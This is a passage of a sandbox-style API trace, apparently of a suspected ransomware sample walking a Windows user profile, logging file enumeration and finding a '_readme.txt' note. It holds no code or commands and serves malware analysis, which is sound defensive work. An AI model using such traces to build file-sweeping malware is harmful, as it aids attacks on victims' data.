0x398f170 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f1c8 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa8) returned 0x39326e8 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f3d8 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f430 [0116.521] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a4f7980, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a4f7980, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f170 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0116.521] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f170 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0116.521] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f220 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0116.521] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f220 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f430 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f3d8 [0116.521] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb200 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x16c) returned 0x38e0b90 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f220 [0116.521] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f430 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f488 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f7f38 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f7fa0 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f8008 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f4e0 [0116.522] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a863920, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a863920, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f3d8 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f328 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f380 [0116.522] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb200 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.522] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f3d8 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f328 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f1c8 [0116.522] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x47d33af0, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x47d33af0, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0116.522] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x47d0d990, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0116.522] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0116.522] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0116.522] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0116.522] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0116.522] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0116.522] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a9e06e0, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a9e06e0, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f3d8 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f328 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x214) returned 0x39f5af0 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f170 [0116.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb200 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f538 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f590 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f5e8 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb2d0 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f640 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f8070 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f698 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f80d8 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f6f0 [0116.523] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f3d8 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0116.523] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f3d8 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f328 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f380 [0116.523] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f8008 [0116.523] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f3d8 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f328 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f4e0 [0116.523] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f3d8 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f328 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f488 [0116.523] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x310) returned 0x39f4ef8 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f3d8 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f7fa0 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f328 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f430 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f7f38 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f8140 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f81a8 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f220 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f8210 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f748 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f8278 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7f8 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f82e0 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f850 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f8348 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f8a8 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f900 [0116.524] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f488 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0116.524] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a994420, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a994420, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f488 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f4e0 [0116.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f380 [0116.524] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bf02a10, ftCreationTime.dwHighDateTime=0x1d53dff, ftLastAccessTime.dwLowDateTime=0x6bf02a10, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x6bf02a10, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0116.524] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bf02a10, ftCreationTime.dwHighDateTime=0x1d53dff, ftLastAccessTime.dwLowDateTime=0x6bf02a10, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x6bf02a10, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0116.524] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.525] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.525] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.525] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.525] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eb50 [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.525] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f4e0 [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.525] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.525] PathFindFileNameW 